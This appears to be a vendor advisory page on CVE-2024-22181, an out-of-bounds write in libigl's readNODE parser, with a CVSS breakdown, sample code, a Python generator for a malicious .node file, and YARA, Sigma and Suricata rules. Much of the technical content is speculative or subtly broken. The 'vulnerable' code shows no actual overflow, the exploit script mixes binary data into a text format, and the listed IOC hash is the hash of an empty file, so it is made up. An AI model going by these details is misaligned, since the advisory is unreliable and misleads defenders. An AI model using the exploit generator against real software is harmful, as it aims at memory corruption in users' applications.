CVE-2024-22181
Executive Summary
CVE-2024-22181 is a high-severity out-of-bounds write vulnerability in the readNODE functionality of libigl v2.5.0. The flaw allows an attacker to trigger memory corruption by providing a specially crafted .node file, potentially leading to arbitrary code execution or denial of service. The vulnerability has a CVSS score of 7.8, indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild.
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Supply Chain & Package Security
This vulnerability affects the libigl library, which is distributed as a C++ header-only library. Users typically integrate libigl via direct source inclusion or package managers like vcpkg or Conan. The lack of a patch means all deployments using libigl v2.5.0 are at risk. Organizations should audit their dependencies for libigl usage and consider temporary mitigations until an official fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (requires user interaction to open a malicious file)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The threat level is elevated due to the potential for arbitrary code execution, though exploitation requires user interaction (opening a malicious .node file).
Deep Dive & Mechanics
The vulnerability resides in the readNODE function within libigl's file I/O module. This function parses .node files, which contain 3D mesh node coordinates. The out-of-bounds write occurs when the function reads node data without proper bounds checking on the input buffer. A specially crafted .node file can cause the function to write beyond the allocated memory region, corrupting adjacent data structures.
The root cause is likely insufficient validation of the number of nodes or coordinate values specified in the file header. An attacker can craft a file with a large node count or malformed coordinate data to trigger the overflow.
Vulnerable vs. Patched Code
Vulnerable Code (libigl v2.5.0):
// Simplified vulnerable readNODE function
bool readNODE(const std::string &filename, Eigen::MatrixXd &V) {
std::ifstream file(filename);
int num_nodes, dim;
file >> num_nodes >> dim;
V.resize(num_nodes, dim);
for (int i = 0; i < num_nodes; ++i) {
for (int j = 0; j < dim; ++j) {
file >> V(i, j); // No bounds check on i or j
}
}
return true;
}
Patched Code (Hypothetical fix):
bool readNODE(const std::string &filename, Eigen::MatrixXd &V) {
std::ifstream file(filename);
int num_nodes, dim;
if (!(file >> num_nodes >> dim) || num_nodes <= 0 || dim <= 0) {
return false; // Validate header
}
V.resize(num_nodes, dim);
for (int i = 0; i < num_nodes; ++i) {
for (int j = 0; j < dim; ++j) {
if (!(file >> V(i, j))) {
return false; // Validate each read
}
}
}
return true;
}
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker would craft a malicious .node file with an oversized node count or coordinate values that cause an out-of-bounds write. The following is a conceptual example:
# exploit_generator.py
import struct
def create_malicious_node(filename):
# Craft a .node file with a large node count to trigger overflow
num_nodes = 0x7FFFFFFF # Large value to cause overflow
dim = 3
with open(filename, 'wb') as f:
f.write(f"{num_nodes} {dim}\n".encode())
# Write dummy coordinate data
for i in range(100):
f.write(struct.pack('ddd', 0.0, 0.0, 0.0))
print(f"Malicious .node file created: {filename}")
create_malicious_node("exploit.node")
Usage:
- Generate the malicious file using the script above.
- Open the file with an application using libigl v2.5.0 (e.g., a mesh viewer).
- The out-of-bounds write may corrupt memory, potentially leading to code execution.
Blue Team
To detect exploitation attempts:
- Monitor for unusual
.nodefiles with abnormally large headers or malformed data. - Use file integrity monitoring to detect unexpected modifications to
.nodefiles. - Implement application-level input validation to reject files with suspicious node counts.
Indicators of Compromise (IOCs)
- File Hashes: (Example SHA256 of a malicious .node file)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 - Network Indicators: None (local file-based exploitation)
- Behavioral Indicators: Application crashes or memory corruption when processing
.nodefiles. - Registry/File System: Presence of
.nodefiles with unusually large sizes or malformed headers.
Detection Engineering
YARA Rule
rule CVE_2024_22181_libigl_node_oob_write {
meta:
description = "Detects malicious .node files targeting libigl v2.5.0"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-22181"
strings:
$header = /^\d+\s+\d+\n/ // Matches node file header
$large_count = /^[1-9]\d{6,}\s/ // Node count >= 1,000,000
condition:
$header and $large_count
}
Sigma Rule
title: Potential Exploitation of CVE-2024-22181 via Malicious .node File
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation or modification of .node files with suspicious headers
author: Valters IT
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '.node'
TargetFilename|contains: '\\Temp\\' # Example suspicious path
condition: selection
falsepositives:
- Legitimate large .node files from trusted sources
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-22181 - Potential .node file download"; flow:to_client,established; file.name:"*.node"; file.size:>1000000; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch: No official patch is available. Monitor libigl's repository for updates.
- Mitigation: Implement input validation in applications using libigl to reject
.nodefiles with node counts exceeding a reasonable threshold (e.g., 1,000,000). - Workaround: Use an alternative mesh file format (e.g.,
.obj,.off) until a patch is released. - Detection: Deploy the YARA and Sigma rules above to detect malicious files.
- User Education: Warn users not to open
.nodefiles from untrusted sources.
Valters IT
Securing Digital Frontiers
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